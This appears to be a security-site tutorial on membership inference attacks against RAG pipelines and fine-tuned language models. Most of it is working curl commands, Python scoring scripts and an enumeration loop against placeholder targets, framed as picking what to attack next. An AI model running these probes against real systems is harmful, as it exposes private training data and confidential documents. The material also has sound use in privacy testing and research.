Skip to content
HackIndex logo

HackIndex

Membership Inference Attacks Against AI Models

3 min read Mar 26, 2026

Membership inference determines whether a specific data record was used to train a model or index a RAG knowledge base. For a fine-tuned model, a successful membership inference confirms that sensitive records — PII, proprietary documents, confidential communications — are present in the training set. For a RAG pipeline, it confirms which documents are in the knowledge base without needing read access to the vector store.

The attack exploits the fact that models behave differently on data they have seen versus data they have not. Fine-tuned models produce lower loss and higher confidence on training samples. RAG pipelines return higher similarity scores and more specific answers for documents that are indexed versus documents that are not.

RAG Membership Inference via Similarity Scoring

Query the RAG application with exact phrases from documents you suspect are indexed. High similarity retrieval or verbatim reproduction in the response indicates the document is in the knowledge base. Compare responses between suspected member documents and control documents you know are not indexed:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST https://$TARGET_IP/api/retrieve -H 'Content-Type: application/json' -H 'Authorization: Bearer $TOKEN' -d '{"query":"CEO base salary four hundred eighty thousand FY2025","top_k":3}' | python3 -m json.tool
{
  "chunks": [
    {
      "text": "Executive compensation package for FY2025: CEO base salary $480,000...",
      "score": 0.97
    }
  ]
}

A similarity score above 0.95 with text that closely mirrors the query indicates the document is indexed. A score below 0.70 with generic responses confirms it is not. Run this test against a control query on a topic you know is absent to calibrate the threshold for this specific deployment.

Fine-Tuned Model Membership Inference via Loss Probing

For fine-tuned models accessible through a completion or logprobs API, membership inference relies on comparing per-token log probabilities. Training samples produce higher log probabilities than non-training samples because the model has overfit to them. Request logprobs from the API for a suspected training sample:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST https://$TARGET_IP/v1/completions -H 'Content-Type: application/json' -H 'Authorization: Bearer $TOKEN' -d '{"model":"ft:gpt-4o-mini:org:custom-model","prompt":"Patient John Smith, DOB 1978-04-12, diagnosis: Type 2 diabetes","max_tokens":1,"logprobs":1,"echo":true}' | python3 -m json.tool
{
  "choices": [{
    "logprobs": {
      "token_logprobs": [-0.12, -0.08, -0.21, -0.09, -0.31, -0.07]
    }
  }]
}
import numpy as np

# Log probs for suspected member
member_logprobs = [-0.12, -0.08, -0.21, -0.09, -0.31, -0.07]
# Log probs for known non-member (control)
nonmember_logprobs = [-2.41, -1.87, -3.12, -2.55, -1.93, -2.78]

member_loss = -np.mean(member_logprobs)
nonmember_loss = -np.mean(nonmember_logprobs)

print(f'Member loss:    {member_loss:.4f}')
print(f'Non-member loss:{nonmember_loss:.4f}')
print(f'Likely member:  {member_loss < 0.5}')
┌──(kali㉿kali)-[~]
└─$ python3 script.py
Member loss:    0.1467
Non-member loss: 2.4433
Likely member:  True

Loss below 0.5 on a short sequence is a strong indicator the text was in the training set. Loss above 2.0 on the same sequence length indicates it was not. The threshold varies per model — calibrate against known members and non-members before drawing conclusions on unknown samples.

Enumerate Indexed Documents via Targeted Queries

When the goal is to map what is in a RAG knowledge base, automate queries across a list of suspected document titles, names, or unique phrases. Score each response by retrieval similarity or response specificity:

import requests, json

TARGET_IP = '$TARGET_IP'
TOKEN = '$TOKEN'

suspected_docs = [
    'Q3 2025 earnings call transcript',
    'Employee termination procedure HR guide',
    'Network architecture diagram datacenter',
    'Customer contract Acme Corporation 2024',
    'Board meeting minutes March 2025',
]

for doc in suspected_docs:
    r = requests.post(
        f'https://{TARGET_IP}/api/retrieve',
        headers={'Authorization': f'Bearer {TOKEN}', 'Content-Type': 'application/json'},
        json={'query': doc, 'top_k': 1}
    )
    result = r.json()
    score = result['chunks'][0]['score'] if result.get('chunks') else 0
    status = 'INDEXED' if score > 0.85 else 'not found'
    print(f'{score:.3f} | {status} | {doc}')
┌──(kali㉿kali)-[~]
└─$ python3 scan2.py
0.951 | INDEXED | Q3 2025 earnings call transcript
0.412 | not found | Employee termination procedure HR guide
0.887 | INDEXED | Network architecture diagram datacenter
0.923 | INDEXED | Customer contract Acme Corporation 2024
0.398 | not found | Board meeting minutes March 2025

Confirmed indexed documents become targets for deeper extraction through retrieval layer manipulation or embedding inversion. The membership inference output is a prioritized list of what to attack next.

References